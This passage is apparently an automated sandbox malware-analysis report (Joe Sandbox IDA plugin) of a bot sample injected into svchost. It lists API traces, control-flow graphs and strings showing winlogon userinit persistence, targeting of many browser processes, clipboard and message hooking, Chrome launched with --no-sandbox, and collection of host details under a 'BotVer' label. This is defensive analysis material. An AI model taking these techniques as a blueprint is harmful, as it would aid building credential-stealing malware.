82009->82007 82010 29a1090 GetPEB 82009->82010 82011 29a150f LoadLibraryExA 82010->82011 82011->82009 82013 29a1608 82012->82013 82014 29a1090 GetPEB 82013->82014 82015 29a160e 82014->82015 82016 2c86290 2063 API calls 82015->82016 82016->81984 82019 29a11d5 82017->82019

                                                                                                                                                                                                            Executed Functions

                                                                                                                                                                                                            Function 02C85890 Relevance: 273.9, APIs: 123, Strings: 33, Instructions: 862threadmemorylibraryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                              • Part of subcall function 02C73310: IsUserAnAdmin.SHELL32 ref: 02C73335
                                                                                                                                                                                                              • Part of subcall function 02C73310: GetEnvironmentVariableA.KERNEL32(SystemDrive,?,00000104), ref: 02C73354
                                                                                                                                                                                                              • Part of subcall function 02C73310: PathAddBackslashA.SHLWAPI(?), ref: 02C73361
                                                                                                                                                                                                              • Part of subcall function 02C73310: GetVolumeInformationA.KERNEL32(?,00000000,00000000,000FF0FF,00000000,00000000,00000000,00000000), ref: 02C7337E
                                                                                                                                                                                                              • Part of subcall function 02C73310: _snprintf.MSVCRT ref: 02C73399
                                                                                                                                                                                                              • Part of subcall function 02C73310: RegOpenKeyExA.KERNEL32(80000002,software\microsoft\windows nt\currentversion\winlogon,00000000,00000101,00000000), ref: 02C733B7
                                                                                                                                                                                                              • Part of subcall function 02C73310: RegQueryValueExA.KERNEL32(00000000,userinit,00000000,00000001,C:\Windows\apppatch\svchost.exe,00000104), ref: 02C7340C
                                                                                                                                                                                                              • Part of subcall function 02C73310: RegCloseKey.ADVAPI32(00000000), ref: 02C7341A
                                                                                                                                                                                                              • Part of subcall function 02C93E40: GetSystemWindowsDirectoryA.KERNEL32(?,00000104), ref: 02C93E6F
                                                                                                                                                                                                              • Part of subcall function 02C93E40: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00FFAAFF,00000000,00000000,00000000,00000000), ref: 02C93EA8
                                                                                                                                                                                                              • Part of subcall function 02C93E40: _snprintf.MSVCRT ref: 02C93F13
                                                                                                                                                                                                            • SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,C:\Users\user\AppData\Roaming\), ref: 02C858B0
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(C:\Users\user\AppData\Roaming\), ref: 02C858BB
                                                                                                                                                                                                            • GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 02C858CF
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,\chrome.exe), ref: 02C858EB
                                                                                                                                                                                                            • GetCommandLineA.KERNEL32 ref: 02C858F5
                                                                                                                                                                                                            • GetCommandLineW.KERNEL32 ref: 02C8592D
                                                                                                                                                                                                            • InitializeCriticalSection.KERNEL32(02CBD888), ref: 02C8595C
                                                                                                                                                                                                            • CreateMutexA.KERNEL32(00000000,00000000,00000000), ref: 02C85979
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02C82140,00000000,00000000,00000000), ref: 02C859B7
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02C859CF
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C859E0
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02C868B0,00000000,00000000,00000000), ref: 02C85A0F
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02C85A27
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C85A38
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,Function_00016B60,00000000,00000000,00000000), ref: 02C85A4D
                                                                                                                                                                                                            • CreateMutexA.KERNEL32(00000000,00000000,7D2DE4ADa), ref: 02C85A61
                                                                                                                                                                                                            • InitializeCriticalSection.KERNEL32(02CBD8A0), ref: 02C85A70
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02C864A0,00000000,00000000,00000000), ref: 02C85A84
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02C85A94
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C85AA5
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02C85590,00000000,00000000,00000000), ref: 02C85ABA
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02C85ACA
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C85ADB
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02C842C0,00000000,00000000,00000000), ref: 02C85B05
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02C85B19
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C85B2A
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C85B39
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02C85B3C
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C85B49
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02C85B4C
                                                                                                                                                                                                            • GetModuleHandleA.KERNEL32(kernel32.dll), ref: 02C85B70
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 02C85B82
                                                                                                                                                                                                              • Part of subcall function 02C76240: memset.MSVCRT ref: 02C76271
                                                                                                                                                                                                              • Part of subcall function 02C76240: memset.MSVCRT ref: 02C7628F
                                                                                                                                                                                                              • Part of subcall function 02C76240: RegOpenKeyExA.KERNEL32(80000002,software\microsoft,00000000,00000101,?), ref: 02C762AB
                                                                                                                                                                                                              • Part of subcall function 02C76240: RegQueryValueExA.KERNEL32(?,7D2DE31Fa,00000000,00000001,?,00000104), ref: 02C762D2
                                                                                                                                                                                                              • Part of subcall function 02C76240: GetProcessHeap.KERNEL32(00000008,00000110,?,?), ref: 02C7634A
                                                                                                                                                                                                              • Part of subcall function 02C76240: HeapAlloc.KERNEL32(00000000), ref: 02C76351
                                                                                                                                                                                                              • Part of subcall function 02C76240: memset.MSVCRT ref: 02C76365
                                                                                                                                                                                                              • Part of subcall function 02C76240: lstrcpynA.KERNEL32(00000000,00000000,00000104), ref: 02C7637E
                                                                                                                                                                                                              • Part of subcall function 02C76240: RegCloseKey.ADVAPI32(?), ref: 02C7638C
                                                                                                                                                                                                            • GetCurrentProcess.KERNEL32(00000000), ref: 02C85B8E
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02C85B9D
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,\svchost.exe), ref: 02C85BB9
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,\iexplore.exe), ref: 02C85BE0
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,\java.exe), ref: 02C85BF6
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,\javaw.exe), ref: 02C85C0C
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,\javaws.exe), ref: 02C85C22
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,\opera.exe), ref: 02C85C38
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,\firefox.exe), ref: 02C85C4E
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,\maxthon.exe), ref: 02C85C64
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,\avant.exe), ref: 02C85C7A
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,\mnp.exe), ref: 02C85C90
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,\safari.exe), ref: 02C85CA6
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,\netscape.exe), ref: 02C85CBC
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,\tbb-firefox.exe), ref: 02C85CD2
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,\chrome.exe), ref: 02C85CE8
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,\explorer.exe), ref: 02C85CFE
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02C8A300,00000000,00000000,00000000), ref: 02C85D2C
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C85D46
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C85D53
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02C8D990,00000000,00000000,00000000), ref: 02C85D68
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C85D7C
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C85D89
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02C8EF40,00000000,00000000,00000000), ref: 02C85D9E
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C85DB2
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C85DBF
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02C8F770,00000000,00000000,00000000), ref: 02C85DD4
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C85DE8
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C85DF5
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02C8E0B0,00000000,00000000,00000000), ref: 02C85E0A
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C85E1E
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C85E2B
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02C8B580,00000000,00000000,00000000), ref: 02C85E40
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C85E54
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C85E61
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02C8B620,00000000,00000000,00000000), ref: 02C85E76
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C85E8A
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C85E97
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02C8FEE0,00000000,00000000,00000000), ref: 02C85EAC
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C85EC0
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C85ECD
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02C90AF0,00000000,00000000,00000000), ref: 02C85EE2
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C85EF6
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C85F03
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02C917E0,00000000,00000000,00000000), ref: 02C85F18
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C85F2C
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C85F39
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02C918D0,00000000,00000000,00000000), ref: 02C85F4E
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C85F62
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C85F6F
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02C8E890,00000000,00000000,00000000), ref: 02C85F84
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C85F98
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C85FA5
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02C91AB0,00000000,00000000,00000000), ref: 02C85FBA
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C85FCE
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C85FDB
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02C92A30,00000000,00000000,00000000), ref: 02C85FF0
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C86004
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C86011
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02C92D50,00000000,00000000,00000000), ref: 02C86026
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C8603A
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C86047
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02C902E0,00000000,00000000,00000000), ref: 02C8605C
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C86070
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C8607D
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02C77110,00000000,00000000,00000000), ref: 02C86092
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C860AA
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C860BF
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,\isclient.exe), ref: 02C860D6
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,\ipc_full.exe), ref: 02C860EC
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,\intpro.exe), ref: 02C860FE
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,\cbsmain.dll), ref: 02C86110
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,\clmain.exe), ref: 02C86122
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,\core.exe), ref: 02C86134
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,\rundll32.exe), ref: 02C86146
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,\notepad.exe), ref: 02C86158
                                                                                                                                                                                                              • Part of subcall function 02C844F0: memset.MSVCRT ref: 02C84511
                                                                                                                                                                                                              • Part of subcall function 02C844F0: GetModuleFileNameA.KERNEL32(00000000,00000000,00000104,7622F550,75AF7390,76230A60), ref: 02C84527
                                                                                                                                                                                                              • Part of subcall function 02C844F0: AddVectoredExceptionHandler.KERNEL32(00000001,02C73940), ref: 02C84534
                                                                                                                                                                                                              • Part of subcall function 02C844F0: CreateMutexA.KERNEL32(00000000,00000000,00000000), ref: 02C8454F
                                                                                                                                                                                                              • Part of subcall function 02C844F0: CreateThread.KERNEL32(00000000,00000000,Function_00019230,00000000,00000000,00000000), ref: 02C84569
                                                                                                                                                                                                              • Part of subcall function 02C844F0: GetHandleInformation.KERNEL32(00000000,?), ref: 02C84581
                                                                                                                                                                                                              • Part of subcall function 02C844F0: CloseHandle.KERNEL32(00000000), ref: 02C84592
                                                                                                                                                                                                              • Part of subcall function 02C844F0: InitializeCriticalSection.KERNEL32(02CBD870), ref: 02C845A3
                                                                                                                                                                                                              • Part of subcall function 02C844F0: LoadLibraryExA.KERNEL32(user32.dll,00000000,00000000), ref: 02C845B9
                                                                                                                                                                                                              • Part of subcall function 02C844F0: GetProcAddress.KERNEL32(00000000,GetClipboardData), ref: 02C845CB
                                                                                                                                                                                                              • Part of subcall function 02C844F0: LoadLibraryExA.KERNEL32(user32.dll,00000000,00000000), ref: 02C845EA
                                                                                                                                                                                                              • Part of subcall function 02C844F0: GetProcAddress.KERNEL32(00000000,TranslateMessage), ref: 02C845F8
                                                                                                                                                                                                              • Part of subcall function 02C844F0: GetProcAddress.KERNEL32(00000000,GetMessageA), ref: 02C84614
                                                                                                                                                                                                              • Part of subcall function 02C844F0: GetProcAddress.KERNEL32(00000000,GetMessageW), ref: 02C84630
                                                                                                                                                                                                              • Part of subcall function 02C76FB0: GetCurrentProcessId.KERNEL32 ref: 02C76FB9
                                                                                                                                                                                                              • Part of subcall function 02C76FB0: GetCurrentThreadId.KERNEL32 ref: 02C76FC8
                                                                                                                                                                                                              • Part of subcall function 02C76FB0: GetThreadDesktop.USER32(00000000,00000002,?,00000100,?), ref: 02C76FE1
                                                                                                                                                                                                              • Part of subcall function 02C76FB0: GetUserObjectInformationA.USER32(00000000), ref: 02C76FE8
                                                                                                                                                                                                              • Part of subcall function 02C76FB0: lstrcmpiA.KERNEL32(?,7d2de3ada), ref: 02C76FFE
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,\opera.exe,00000000), ref: 02C86183
                                                                                                                                                                                                            • GetModuleHandleA.KERNEL32(ntdll.dll,RtlFreeHeap,02C84010,02CC7D38), ref: 02C8619D
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000), ref: 02C861A0
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,\chrome.exe), ref: 02C861B4
                                                                                                                                                                                                            • GetCurrentProcessId.KERNEL32 ref: 02C861D1
                                                                                                                                                                                                            • GetCurrentThreadId.KERNEL32 ref: 02C861E0
                                                                                                                                                                                                            • GetThreadDesktop.USER32(00000000,00000002,?,00000100,00000000), ref: 02C861F9
                                                                                                                                                                                                            • GetUserObjectInformationA.USER32(00000000), ref: 02C86200
                                                                                                                                                                                                            • lstrcmpiA.KERNEL32(?,7d2de3ada), ref: 02C86216
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02C7ACD0,00000000,00000000,00000000), ref: 02C8622A
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C8623E
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C8624B
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02C77020,00000000,00000000,00000000), ref: 02C86260
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C86274
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C86281
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Handle$Thread$CreateInformation$Close$AddressHeapProcProcess$Current$ModuleUsermemset$CriticalInitializeMutexPathSection$AdminBackslashCommandDesktopFileLibraryLineLoadNameObjectOpenQueryValueVolume_snprintflstrcmpi$AllocDirectoryEnvironmentExceptionFolderFreeHandlerSystemValidateVariableVectoredWindowslstrcpyn
                                                                                                                                                                                                            • String ID: --no-sandbox$ --no-sandbox$7D2DE4ADa$7D2DE7E1a$7d2de3ada$C:\Users\user\AppData\Roaming\$IsWow64Process$RtlFreeHeap$\avant.exe$\cbsmain.dll$\chrome.exe$\clmain.exe$\core.exe$\explorer.exe$\firefox.exe$\iexplore.exe$\intpro.exe$\ipc_full.exe$\isclient.exe$\java.exe$\javaw.exe$\javaws.exe$\maxthon.exe$\mnp.exe$\netscape.exe$\notepad.exe$\opera.exe$\rundll32.exe$\safari.exe$\svchost.exe$\tbb-firefox.exe$kernel32.dll$ntdll.dll
                                                                                                                                                                                                            • API String ID: 558288730-428555581
                                                                                                                                                                                                            • Opcode ID: 7632c9f1294aeafb7bec174db2dbf705998d76639d33d898e8d72797694d4a77
                                                                                                                                                                                                            • Instruction ID: 853c4c066e2a5854523634396e0bfcaf0d9341f37bcf380c5529ae26b42d1a77
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 7632c9f1294aeafb7bec174db2dbf705998d76639d33d898e8d72797694d4a77
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 4F52E971E81355B6FB21E7A08D46FAE77AC9F84B48F618594F901B70C1DBF0DB048AA4
                                                                                                                                                                                                            Function 02C74920 Relevance: 135.3, APIs: 56, Strings: 21, Instructions: 596filetimeCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 196 2c74920-2c74a59 CreateFileA 197 2c74fe4-2c74fe9 196->197 198 2c74a5f-2c74aca WriteFile * 3 GetModuleFileNameA WriteFile 196->198 199 2c74ad0-2c74ad5 198->199 199->199 200 2c74ad7-2c74b2a WriteFile * 2 GetUserNameA WriteFile 199->200 201 2c74b30-2c74b35 200->201 201->201 202 2c74b37-2c74b8d WriteFile * 2 GetEnvironmentVariableA WriteFile 201->202 203 2c74b90-2c74b95 202->203 203->203 204 2c74b97-2c74bdf WriteFile * 2 GetSystemDefaultLangID memset 203->204 205 2c74be1-2c74beb 204->205 206 2c74bf5-2c74c0b 205->206 207 2c74bed-2c74bf1 205->207 209 2c74c11-2c74c1a 206->209 207->205 208 2c74bf3 207->208 208->209 210 2c74c20-2c74c25 209->210 210->210 211 2c74c27-2c74c29 210->211 212 2c74c35-2c74c4d WriteFile 211->212 213 2c74c2b 211->213 214 2c74c50-2c74c55 212->214 213->212 214->214 215 2c74c57-2c74cd2 WriteFile * 2 GetDC GetDeviceCaps GetSystemMetrics * 2 _snprintf WriteFile 214->215 216 2c74cd5-2c74cda 215->216 216->216 217 2c74cdc-2c74d3c WriteFile * 2 GetDateFormatA WriteFile 216->217 218 2c74d40-2c74d45 217->218 218->218 219 2c74d47-2c74da4 WriteFile * 2 GetTimeFormatA WriteFile 218->219 220 2c74da7-2c74dac 219->220 220->220 221 2c74dae-2c74e5e WriteFile * 2 GetTimeZoneInformation _snprintf WriteFile 220->221 222 2c74e61-2c74e66 221->222 222->222 223 2c74e68-2c74ea9 WriteFile * 3 call 2c74070 222->223 226 2c74eb0-2c74eb5 223->226 226->226 227 2c74eb7-2c74f0d call 2c74070 WriteFile * 2 GetSystemWindowsDirectoryA WriteFile 226->227 230 2c74f10-2c74f15 227->230 230->230 231 2c74f17-2c74f5d WriteFile * 3 IsUserAnAdmin 230->231 232 2c74f64 231->232 233 2c74f5f 231->233 234 2c74f67-2c74f6c 232->234 233->232 234->234 235 2c74f6e-2c74f80 IsUserAnAdmin 234->235 236 2c74f87-2c74fbb WriteFile * 2 call 2c747e0 call 2c740f0 call 2c743e0 call 2c74630 235->236 237 2c74f82 235->237 245 2c74fc0-2c74fc6 236->245 237->236 245->197 246 2c74fc8-2c74fd5 GetHandleInformation 245->246 246->197 247 2c74fd7-2c74fdb 246->247 247->197 248 2c74fdd-2c74fde CloseHandle 247->248 248->197
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • CreateFileA.KERNEL32(?,C0000000,00000003,00000000,00000002,00000080,00000000,?,75AF5CE0), ref: 02C74A4E
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,{BotVer: ,00000009,02C73EFD,00000000,02CCB0C4), ref: 02C74A76
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,4.0.1,00000005,02C73EFD,00000000), ref: 02C74A88
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,02CB3B50,00000002,02C73EFD,00000000), ref: 02C74A9A
                                                                                                                                                                                                            • GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 02C74AA9
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,{Process: ,0000000A,02C73EFD,00000000), ref: 02C74ABF
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,?,?,02C73EFD,00000000), ref: 02C74AEA
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,02CB3B50,00000002,02C73EFD,00000000), ref: 02C74AFC
                                                                                                                                                                                                            • GetUserNameA.ADVAPI32(?,00000104), ref: 02C74B09
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,{Username: ,0000000B,02C73EFD,00000000), ref: 02C74B1F
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,?,?,02C73EFD,00000000), ref: 02C74B4A
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,02CB3B50,00000002,02C73EFD,00000000), ref: 02C74B5C
                                                                                                                                                                                                            • GetEnvironmentVariableA.KERNEL32(PROCESSOR_IDENTIFIER,?,00000104), ref: 02C74B6F
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,{Processor: ,0000000C,02C73EFD,00000000), ref: 02C74B85
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,?,?,02C73EFD,00000000), ref: 02C74BAA
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,02CB3B50,00000002,02C73EFD,00000000), ref: 02C74BBC
                                                                                                                                                                                                            • GetSystemDefaultLangID.KERNEL32 ref: 02C74BBE
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C74BD7
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,{Language: ,0000000B,02C73EFD,00000000), ref: 02C74C45
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,?,?,02C73EFD,00000000), ref: 02C74C6A
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,02CB3B50,00000002,02C73EFD,00000000), ref: 02C74C7C
                                                                                                                                                                                                            • GetDC.USER32(00000000), ref: 02C74C81
                                                                                                                                                                                                            • GetDeviceCaps.GDI32(00000000), ref: 02C74C88
                                                                                                                                                                                                            • GetSystemMetrics.USER32(00000001), ref: 02C74C91
                                                                                                                                                                                                            • GetSystemMetrics.USER32(00000000), ref: 02C74C99
                                                                                                                                                                                                            • _snprintf.MSVCRT ref: 02C74CB1
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,{Screen: ,00000009,02C73EFD,00000000), ref: 02C74CCA
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,?,?,02C73EFD,00000000), ref: 02C74CEF
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,02CB3B50,00000002,02C73EFD,00000000), ref: 02C74D01
                                                                                                                                                                                                            • GetDateFormatA.KERNEL32(00000409,00000000,00000000,dd:MMM:yyyy,?,00000104), ref: 02C74D1B
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,{Date: ,00000007,02C73EFD,00000000), ref: 02C74D31
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,?,?,02C73EFD,00000000), ref: 02C74D5A
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,02CB3B50,00000002,02C73EFD,00000000), ref: 02C74D6C
                                                                                                                                                                                                            • GetTimeFormatA.KERNEL32(00000409,00000000,00000000,HH:mm:ss,?,00000104), ref: 02C74D86
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,{Local time: ,0000000D,02C73EFD,00000000), ref: 02C74D9C
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,?,?,02C73EFD,00000000), ref: 02C74DC1
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,02CB3B50,00000002,02C73EFD,00000000), ref: 02C74DD3
                                                                                                                                                                                                            • GetTimeZoneInformation.KERNELBASE(?), ref: 02C74DDC
                                                                                                                                                                                                            • _snprintf.MSVCRT ref: 02C74E3D
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,{GMT: ,00000006,02C73EFD,00000000), ref: 02C74E56
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,?,?,02C73EFD,00000000), ref: 02C74E7B
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,02CB3B50,00000002,02C73EFD,00000000), ref: 02C74E8D
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,{Uptime: ,00000009,02C73EFD,00000000), ref: 02C74E9F
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,00000000,?,02C73EFD,00000000), ref: 02C74ECF
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,02CB3B50,00000002,?,00000000), ref: 02C74EE1
                                                                                                                                                                                                            • GetSystemWindowsDirectoryA.KERNEL32(?,00000104), ref: 02C74EEF
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,{Windows directory: ,00000014,?,00000000), ref: 02C74F05
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 02C74F2A
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,02CB3B50,00000002,?,00000000), ref: 02C74F3C
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,{Administrator: ,00000010,?,00000000), ref: 02C74F4E
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02C74F50
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02C74F73
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,true,02C73EFD,?,00000000), ref: 02C74F95
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,02CB3B50,00000002,?,00000000), ref: 02C74FA7
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,02C73EFD,00000000,00000000), ref: 02C74FCD
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C74FDE
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
